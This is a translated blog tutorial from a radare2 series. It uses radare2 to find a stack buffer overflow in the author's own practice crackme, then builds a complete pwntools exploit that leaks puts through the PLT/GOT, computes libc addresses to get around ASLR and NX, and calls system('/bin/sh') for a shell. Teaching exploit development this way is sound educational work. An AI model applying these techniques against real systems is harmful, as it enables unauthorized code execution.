翻译自Megabeets

序言

欢迎来到我们radare2之旅的第二部分!在这一部分,我们会涵盖radare2的更多部分,同时这次更注重于二进制漏洞挖掘。

相信大家都一定很期待这第二部分,之后的内容也一定会更快地分享给大家。如果你还没有阅读过这一系列的第一部分,我非常推荐你去读一读。第一部分记录了radare2的基础内容,同时也解释了很多我今天会用到的命令。

在这一部分,我们的目的是对一个简单的程序进行漏洞挖掘与利用。radare2有很多不同的功能可以帮我们对漏洞进行利用,例如保护技术、查找 ROP、生成随机序列、查看寄存器内容等等。你可以在本文末尾找到一份命令对应表。今天我会向你们展示这些强大的功能,同时我们用radare2来绕过在开启ASLR的系统上运行并且有NX保护的程序。我假设大家都已经掌握了以下的预备知识:

熟悉这些知识是很重要的一步,因为文章中我并不会细讲,甚至不会对其解释。

更新radare2

首先,我们将radare2更新至其 git 的最新版版:

$ git clone https://github.com/radare/radare2.git # 如果你还没有克隆下来的话
$ cd radare2
$ ./sys/install.sh

等待更新完成需要很长一段时间,在这期间不如看些视频放松一会儿。

熟悉程序

你可以在这里下载程序,在这里下载源码
如果你想自己编译程序,用以下命令:

$ gcc -m32  -fno-stack-protector megabeets_0x2.c -o megabeets_0x2

这次的程序与上一次的程序非常相似,只是在main()函数中有一些细微的改变:

  • 编译时不使用参数-z execstac来开启NX
  • 通过 scanf 来接收用户的输入,而不是通过程序的参数
  • 大部分输出的函数为 puts
  • 对程序的输出做了一点修改

这是之前的main()函数:

int main(int argc, char *argv[])
{
    printf("\n  .:: Megabeets ::.\n");
    printf("Think you can make it?\n");
    if (argc >= 2 && beet(argv[1]))
    {
        printf("Success!\n\n");
    }
    else
        printf("Nop, Wrong argument.\n\n");

    return 0;
}

然后现在的main函数是这样的:

int main(int argc, char *argv[])
{
    char *input;
    puts("\n  .:: Megabeets ::.\n");
    puts("Show me what you got:");

    scanf("%ms", &input);
    if (beet(input))
    {
        printf("Success!\n\n");
    }
    else
        puts("Nop, Wrong argument.\n\n");

    return 0;
}

程序的功能十分简单,并且在前一篇文章中我们已经对它很熟悉了——要求输入字符串,与经过rot13加密的字符串Megabeets比较。故输入应该为Zrtnorrgf

$ ./megabeets_0x2

  .:: Megabeets ::.

Show me what you got:
blablablabla
Nop, Wrong argument.

$ ./megabeets_0x2

  .:: Megabeets ::.

Show me what you got:
Zrtnorrgf
Success!

这些都很简单,但是我们今天的重点并不是破解一个简单的 crackme,而是对其进行漏洞利用。那我们开始吧!

理解漏洞

对于每一个 PWN 题给出的程序来说,检查程序开了什么保护是一个好习惯。我们可以使用上一篇文章中提到的rabin2,或者直接在radare2的 shell 里执行i命令。因为我们还没有用radare2打开文件,就先用rabin2来看看:

$ rabin2 -I megabeets_0x2

arch     x86
binsz    6072
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

在标记的几行中,我们可以看到程序开了NX,也就是说栈是不可执行的。还有,该程序没有开启CanaryPIC或是RELRO

现在我们迅速地过一遍程序的执行流,这次我们看一看它的反汇编代码(并不是每次漏洞挖掘都能有源码)。使用radare2的调试模式打开程序:

$ r2 -d megabeets_0x2
Process with PID 20859 started…
= attach 20859 20859
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32– Your endian swaps
[0xf7782b30]> aas
  • -d – 用调试模式打开
  • aas – 分析函数、符号以及其他
  • 注意:正如我在前一篇文章所提到的,开始时使用aaa分析是最推荐的方式,因为分析本来就是一个很复杂的过程。我在这篇回答里写了更多——读一下也许会让你的理解更深。

现在我们继续执行程序,直到main函数。只要输入命令dcu main

[0xf7797b30]> dcu?
|Usage: dcu Continue until address
| dcu address      Continue until address
| dcu [..tail]     Continue until the range
| dcu [from] [to]  Continue until the range
[0xf7797b30]> dcu main
Continue until 0x08048658 using 1 bpsize
hit breakpoint at: 8048658
  • dcu代表debug continue until

现在让我们输入VV进入图形模式。在第一部分解释过,你可以通过pP切换视角,通过k/j/h/l分别向上/下/左/右移动,通过g和调用旁的字母跳转函数(例如gd)。

?来列出所有在图形模式下的命令,同时别忘记R命令 😉

main()函数是程序要求我们输入的地方,并且它将输入传给sym.beet。通过gc我们跳转到处理我们输入的beet()函数:

我们可以看到用户的输入[arg_8h]被复制给一个缓冲区([local_88h]),然后就是我们在前一篇文章中所看到过的,字符串Megabeetsrot13加密了,所得结果与我们的输入做比较。我们之前了解过,我这里就不做深究。

你有看到什么可以的地方吗?我们的输入没有对长度做检查,然后直接复制到了缓冲区中。这意味着如果我们输入一串超过缓冲区大小的字符串,就能导致栈上的缓冲区溢出。至此,我们找到了漏洞。

规划漏洞利用脚本

既然我们已经找到了有漏洞的函数,我们需要构造一个 payload 来利用它。我们的目标很明了,就是在系统上成功开一个 shell。首先,我们要确认确实有一个有漏洞的函数,然后我们需要找到一个我们的 payload 可以覆盖栈的偏移。

我们将会使用一个radare2框架中的工具,叫做ragg2。它能够为我们生成一段循环的德布鲁因序列,用来检测覆盖缓冲区的确切的偏移大小。

$ ragg2 -
<truncated>
 -P [size]       prepend debruijn pattern
<truncated>
 -r              show raw bytes instead of hexpairs
<truncated>

$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh

我们知道我们的程序通过输入流读取我们的输入,而不是从 shell 中读取我们的输入。故我们将会使用又一个来自radare2工具箱中的工具,rarun2

  • rarun2可以在不同环境、参数、执行权限、文件夹下运行程序,并且覆盖默认的文件描述符(例如stdin

  • 如果你需要在跑一个程序时使用很长的参数,它会起很大的作用。而且漏洞利用通常都会向输入流传一大堆数据。

我们需要做以下的三个步骤:

  • 使用ragg2将德布鲁因序列写入一个文件
  • 新建一个rarun2配置文件,并且把前一个文件作为stdin
  • radare2来找到偏移
$ ragg2 -P 200 -r > pattern.txt
$ cat pattern.txt
AAABAACAADAAEAAFAAGAAHAAI… <truncated> …7AA8AA9AA0ABBABCABDABEABFA

$ vim profile.rr2

$ cat profile.rr2
#!/usr/bin/rarun2
stdin=./pattern.txt

$ r2 -r profile.rr2 -d megabeets_0x2
Process with PID 21663 started…
= attach 21663 21663
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32

— Use rarun2 to launch your programs with a predefined environment.
[0xf77c2b30]> dc
Selecting and continuing: 21663

.:: Megabeets ::.

Show me what you got?
child stopped with signal 11

[0x41417641]>

我们运行程序,并将pattern.txt的内容用rarun2传给stdinSIGSEV 11

  • 一个信号是一种发送给进程或是一个具体线程的异步通知,这样与之相同的进程就会在某个事件发生时得到提醒。

  • SIGSEGV(11)信号在访问了某个无效的虚拟内存或段错误后会触发。

你发现了吗?我们实时的指针现在指向了0x41417641。这是一个无效的地址,它表示了字符串AvAA(小端序及 ascii 码转换),也就是我们送的字符串的一部分。radare2允许我们找到给出的值在德布鲁因序列中的偏移。

[0x41417641]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]  Write a De Bruijn Pattern of length ‘len’ at address ‘addr’
| wopO value         Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO `dr eip`
140

既然我们已经知道需要覆盖返回地址的偏移为 140,我们可以开始编写脚本了。

编写漏洞利用脚本

我之前也提到过很多次,这篇文章不是教一些漏洞利用的基础知识的,它的目的是展示radare2在漏洞利用中是如何使用的。因此,我不会过多地解释脚本的每个部分。

我们的目标是在系统中产生一个 shell。这有很多种方法,尤其是这样一个程序。为了知道我们能做什么,首先我们需要知道我们不能做什么。我们的程序在开了ASLR地环境下,所以我们不能猜测到libc在内存中的地址。那就可以和ret2libc说再见了。另外,程序开了NX,这意味栈是不可执行的,所以我们不能直接在栈上放一个shellcode然后跳过去。

虽然这些保护让我们不能使用一些漏洞利用技术,然而这不能阻止我们轻松地绕过它们。编写我们的脚本时,需要细心地观察提供给我们的运行库以及函数。

让我们再次通过调试模式打开程序,然后看一看它使用的运行库和函数。先看库:


$ r2 -d megabeets_0x2
Process with PID 23072 started…
= attach 23072 23072
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— You haxor! Me jane?
[0xf7763b30]> il
[Linked libraries]
libc.so.61 library

il表示Information libraries,即告诉我们程序所使用的运行库。对于该程序来说,只有我们最爱的libc

现在通过执行ii命令——Information Imports,让我们看看导入的函数。我们可以加上q来减少冗长的输出:

[0xf7763b30]> ii
[Imports]
ordinal=001 plt=0x08048370 bind=GLOBAL type=FUNC name=strcmp
ordinal=002 plt=0x08048380 bind=GLOBAL type=FUNC name=strcpy
ordinal=003 plt=0x08048390 bind=GLOBAL type=FUNC name=puts
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x080483a0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=006 plt=0x080483b0 bind=GLOBAL type=FUNC name=__isoc99_scanf6 imports

[0xf7763b30]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf

计划

  • 泄漏puts的真实地址
  • 计算libc的基址
  • 计算system的地址
  • libc中找到包含字符串/bin/sh的地址
  • 调用system("/bin/sh")打开一个 shell

泄漏puts的地址

我们需要用到ret2plt来泄漏puts的真实地址。PLTProcedure Linkage Table)是内存中的结构体,它包括一小段代码,能够跳转到在动态链接时程序之外的函数地址。不管什么时候,我们在.text段看到CALL指令,并不是直接跳到函数。实际上,它跳转到了PLT中的一小段代码,像是func_name@plt这样。这一小段代码跳转到GOTGlobal Offset Table)中的列出的该函数的地址。GOT表入口点会指回PLT,同时PLT会调用一个动态链接器来确定该函数的真实地址。下一次调用func_name@plt时,这段代码会直接跳转到GOT表里的函数地址。想要了解更多关于动态链接的知识,我推荐伊恩兰斯泰勒写的这一系列关于链接器的文章

为了达到这个目的,我们需要找到putsPLT以及GOT中的地址,然后调用puts@plt并且把puts@got作为参数。我们将把这些调用连在一起,在scanf时传给程序。然后我们会返回到我们利用的第二个阶段。puts将会把它真实的地址输出出来。

+---------------------+
|       Stage 1       |
+---------------------+
| padding (140 bytes) |
| puts@plt            |
| entry_point         |
| puts@got            |
+---------------------+

编写脚本我们需要使用pwnlib框架,而且它是我最喜欢的 python 漏洞利用框架。他简化了很多东西,让利用更简便。当然你也可以使用其他你喜欢的方式。

使用pip下载pwntools

$ pip install --upgrade pip
$ pip install --upgrade pwntools

你可以在官方文档上了解更多关于pwntools

这是我们第一阶段的 python 脚本:

from pwn import *

# Addresses
puts_plt =
puts_got =
entry_point =

# context.log_level = "debug"

def main():

    # open process
    p = process("./megabeets_0x2")

    # Stage 1

    # Initial payload
    payload  =  "A"*140 # padding
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)

    payload = payload + ropchain

    p.clean()
    p.sendline(payload)

    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()


if __name__ == "__main__":
    main()

我们需要填充puts@pltputs@got的地址,以及程序的入口点。让我们回到radare2并执行以下命令。字符#用于注释,字符~radare2的 shell 中的内置grep

[0xf7763b30]> # the address of puts@plt:
[0xf7763b30]> ?v sym.imp.puts
0x08048390
[0xf7763b30]> # the address of puts@got:
[0xf7763b30]> ?v reloc.puts_20
0x0804a014
[0xf7763b30]> # the address of program’s entry point (entry0):
[0xf7763b30]> ieq
0x080483d0

sym.imp.putsreloc.puts_20radare2自动检测到的标志。命令ie表示Information Entrypoint

现在我们填入我们找到的地址:

...

# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0

...

我们执行一下脚本:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23578
[*] puts is at: 0xf75db710
[*] Stopped process ‘./megabeets_0x2’ (pid 23578)

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23592
[*] puts is at: 0xf7563710
[*] Stopped process ‘./megabeets_0x2’ (pid 23592)

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23606
[*] puts is at: 0xf75e3710
[*] Stopped process ‘./megabeets_0x2’ (pid 23606)

我执行了脚本三次,puts的地址每次都会变得不一样。因此我们不能提前预测它的地址。现在我们需要找到putslibc中的偏移,然后计算出libc的基址。在我们找到基址后,我们可以用偏移计算出systemexit以及字符串/bin/sh的地址。

现在我们的脚本应该是这样:

from pwn import *

# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0

# Offsets
offset_puts =
offset_system =
offset_str_bin_sh =
offset_exit =

# context.log_level = "debug"

def main():

    # open process
    p = process("./megabeets_0x2")

    # Stage 1

    # Initial payload
    payload  =  "A"*140
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)

    payload = payload + ropchain

    p.clean()
    p.sendline(payload)

    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)

    p.clean()

    # Calculate libc base

    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)

    # Stage 2

    # Calculate offsets
    system_addr = libc_base + offset_system
    binsh_addr = libc_base + offset_str_bin_sh
    exit_addr = libc_base  + offset_exit

    log.info("system: 0x%x" % system_addr)
    log.info("binsh: 0x%x" % binsh_addr)
    log.info("exit: 0x%x" % exit_addr)

if __name__ == "__main__":
    main()

计算真实地址

请注意在文章的这部分,我的结果可能与你的不同。因为我们的 libc 版本不同,所以会产生不同的偏移。

首先我们需要找到putslibc上的偏移。我们再一次打开radare2,继续执行到入口点。做以上步骤的原因是我们在libc载入之前开始调试程序,直到入口点时,运行库才全部加载完。

我们使用dmi命令,将libc和函数作为参数。我加上了~来显示相关的信息。

$ r2 -d megabeets_0x2
Process with PID 24124 started…
= attach 24124 24124
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— A C program is like a fast dance on a newly waxed dance floor by people carrying razors – Waldi Ravens

[0xf771ab30]> dcu entry0
Continue until 0x080483d0 using 1 bpsize
hit breakpoint at: 80483d0

[0x080483d0]> dmi libc puts~ puts$
vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts

[0x080483d0]> dmi libc system~ system$
vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system

[0x080483d0]> dmi libc exit~ exit$
vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit

请注意,在这篇文章发表前,dmi的输出格式就已经改变了。你的结果很有可能与我的有所不同。

所有这些paddr=0x000xxxxx是函数在libc上的偏移。现在我们需要在程序中找到/bin/sh的位置。我们将要使用radare2的一些搜索功能。radare2默认在dbg.map,也就是当前内存中查找。我们想要在所有内存中查找则需要设置成:

[0x080483d0]> e search.in = dbg.maps

你可以执行e search.in=?查看更多选项。执行Ve配置可视化模式

radare2中通过/命令查找。让我们看看radare2给我们提供的查找参数:

|Usage: /[amx/] [arg]Search stuff (see ‘e??search’ for options)
| / foo\x00           search for string ‘foo\0’
| /j foo\x00          search for string ‘foo\0’ (json output)
| /! ff               search for first occurrence not matching
| /+ /bin/sh          construct the string with chunks
| /!x 00              inverse hexa search (find first byte != 0x00)
| //                  repeat last search
| /h[t] [hash] [len]  find block matching this hash. See /#?
| /a jmp eax          assemble opcode and search its bytes
| /A jmp              find analyzed instructions of this type (/A? for help)
| /b                  search backwards
| /B                  search recognized RBin headers
| /c jmp [esp]        search for asm code
| /C[ar]              search for crypto materials
| /d 101112           search for a deltified sequence of bytes
| /e /E.F/i           match regular expression
| /E esil-expr        offset matching given esil expressions %%= here
| /f file [off] [sz]  search contents of file with offset and size
| /i foo              search for string ‘foo’ ignoring case
| /m magicfile        search for matching magic file (use blocksize)
| /o                  show offset of previous instruction
| /p patternsize      search for pattern of given size
| /P patternsize      search similar blocks
| /r[e] sym.printf    analyze opcode reference an offset (/re for esil)
| /R [?] [grepopcode] search for matching ROP gadgets, semicolon-separated
| /v[1248] value      look for an cfg.bigendian 32bit value
| /V[1248] min max    look for an cfg.bigendian 32bit value in range
| /w foo              search for wide string ‘f\0o\0o\0’
| /wi foo             search for wide string ignoring case ‘f\0o\0o\0’
| /x ff..33           search for hex string ignoring some nibbles
| /x ff0033           search for hex string
| /x ff43 ffd0        search for hexpair with mask
| /z min max          search for strings of given size

提供给我们了许多不同的方式。同时还发心/R能够帮助我们查找 ROP。可惜这篇文章里我们没有打算使用 ROP。但其他情况下,你们写利用脚本时一定很喜欢用它。

我们不需要任何花哨的东西,只用最简单的查找即可。在这之后,我们先找到当前libc载入的地址,然后计算出/bin/sh的偏移。

[0x080483d0]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0xffd50000: 2f 62 69 6e 2f 73 68
Searching 7 bytes in [0x8048000-0x8049000]
hits: 0
Searching 7 bytes in [0x8049000-0x804a000]
hits: 0 <..truncated..> Searching 7 bytes in [0xf77aa000-0xf77ab000]
hits: 0
Searching 7 bytes in [0xffd2f000-0xffd50000]
hits: 0
0xf7700768 hit1_0 .b/strtod_l.c-c/bin/shexit 0canonica.

r2在内存中找到了/bin/sh。现在我们计算它相对libc基址的偏移:

[0x080483d0]> dmm~libc
0xf7599000 /usr/lib32/libc-2.25.so
[0x080483d0]> ?X 0xf7700768-0xf7599000
167768

我们发现/bin/sh相对libc基址的偏移为0x167768。我们把它填进脚本中,并且可以开始我们的最后一个步骤。

...

# Offsets
offset_puts = 0x00062710
offset_system = 0x0003c060
offset_exit = 0x0002f1b0
offset_str_bin_sh = 0x167768

...

获取 shell

漏洞利用的第二阶段很直接。我们继续使用 140 个字符,然后调用system并将/bin/sh作为参数,最后exit

+---------------------+
|       Stage 2       |
+---------------------+
| padding (140 bytes) |
| system@libc         |
| exit@libc           |
| /bin/sh address     |
+---------------------+

还记得上一次我们返回到了入口点吗?这意味着scanf又在等待我们的输入。现在我们所做的就是把这些调用串联起来传给程序。

这是我们最后的脚本。像我之前所说的,你只需要替换符合你的libc的偏移。

from pwn import *

# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0

# Offsets
offset_puts = 0x00062710
offset_system = 0x0003c060
offset_exit = 0x0002f1b0
offset_str_bin_sh = 0x167768

# context.log_level = "debug"

def main():

    # open process
    p = process("./megabeets_0x2")

    # Stage 1

    # Initial payload
    payload  =  "A"*140
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)

    payload = payload + ropchain

    p.clean()
    p.sendline(payload)

    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()

    # Calculate libc base
    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)

    # Stage 2

    # Calculate offsets
    system_addr = libc_base + offset_system
    exit_addr = libc_base  + offset_exit
    binsh_addr = libc_base + offset_str_bin_sh

    log.info("system is at: 0x%x" % system_addr)
    log.info("/bin/sh is at: 0x%x" % binsh_addr)
    log.info("exit is at: 0x%x" % exit_addr)

    # Build 2nd payload
    payload2  =  "A"*140
    ropchain2 =  p32(system_addr)
    ropchain2 += p32(exit_addr)
    # Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
    #           Then you'll execute system("sh")
    ropchain2 += p32(binsh_addr)

    payload2 = payload2 + ropchain2
    p.sendline(payload2)

    log.success("Here comes the shell!")

    p.clean()
    p.interactive()

if __name__ == "__main__":
    main()

跑这个脚本我们就能成功拿到一个 shell:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 24410
[*] puts is at: 0xf75db710
[*] libc base: 0xf75ce000
[*] system is at: 0xf760a060
[*] /bin/sh is at: 0xf7735768
[*] exit is at: 0xf75fd1b0
[+] Here comes the shell!
[*] Switching to interactive mode:

$ whoami
beet
$ echo EOF
EOF

后记

Radare2之旅的第二部分就到此结束了。我们简单地学习了一些radare2中漏洞利用的功能。在下一部分中,我们会学习radare2再脚本编写和恶意软件分析中的功能。

漏洞利用命令对应表

这是一系列我在本文中提到的命令(还有一些补充)。你可以把它作为一份参考表。

获取信息

  • $ rabin2 -I ./program——二进制信息(和radare2的 shell 中i命令相同)
  • ii [q]——导入表
  • ?v sym.imp.func_name——获取func_name@PLT地址
  • ?v reloc.func_name——获取func_name@GOT地址
  • ie [q]——获取入口点地址
  • iS——查看区段的各个权限(读/写/执行)
  • i~canary——检查是否开启Canary
  • i~pic——检查是否开启PIE
  • i~nx——检查是否开启NX

内存

  • dm——查看内存信息
  • dmm——列出模块(内存中的运行库和二进制模块)
  • dmi [addr|libname] [symname]——列出目标库的标志

查找

  • e search.*——编辑查找配置
  • /?——列出查找的子命令
  • / string——在内存或程序段查找字符串
  • /R [?]——查找特定的 ROP
  • /R/——ROP 常规搜索

调试

  • dc——继续执行
  • dcu addr——继续执行到某个地址
  • dcr——继续执行直到ret(单步步过)
  • dbt [?]——在dbg.btdepthdbg.btalgo的基础上回溯指令
  • doo [args]——重新打开调试并设置参数
  • ds——单步步入
  • dso——单步步过

图形模式

  • pdf @ addr——输出当前位移下函数的汇编代码
  • V——可视化模式,使用p/P再两个模式间切换
  • VV——图形模式,在 ascii 图像下分析
  • V!——控制板模式,对漏洞利用非常有用

看看这篇文章,也许有更多的内容能够帮助到你。


re translation

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Shellcode Tricks
2019春节-吾爱破解解题领红包活动